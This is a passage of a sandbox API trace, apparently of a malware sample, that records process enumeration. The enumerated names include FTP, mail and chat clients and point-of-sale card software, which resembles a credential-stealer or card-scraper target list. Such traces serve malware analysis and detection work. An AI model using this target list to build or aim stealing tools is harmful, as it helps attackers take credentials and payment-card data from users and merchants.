szExeFile="alftp.exe")) returned 1 [0239.641] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0239.644] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0239.646] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0239.649] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0239.653] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0239.655] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0239.657] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0239.660] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0239.662] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0239.664] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0239.666] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0239.668] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0239.670] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0239.672] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0239.674] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0239.676] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0239.690] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0239.693] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0239.695] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0239.697] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0239.699] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0239.701] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0239.703] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0239.705] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0239.707] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0239.709] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0239.711] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0239.713] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0239.717] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0239.719] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0239.721] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0239.723] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0239.725] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0239.727] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0239.728] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0239.730] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0239.732] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0239.734] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0239.787] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0239.790] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0239.791] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0239.793] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0239.795] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0239.798] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.800] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0239.802] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0239.803] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0239.805] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0239.807] CloseHandle (hObject=0x21ec) returned 1 [0239.807] Sleep (dwMilliseconds=0x64) [0239.817] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0239.830] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.832] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.834] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.835] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.837] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.840] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.842] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.844] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.846] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.848] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.850] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.852] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.854] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.856] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.857] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.860] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.862] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.863] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.865] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.867] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.868] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0239.870] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.872] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.874] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0239.875] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0239.877] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0239.879] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0239.881] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0239.883] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0239.884] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0239.886] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.888] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.890] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0239.892] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.894] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, 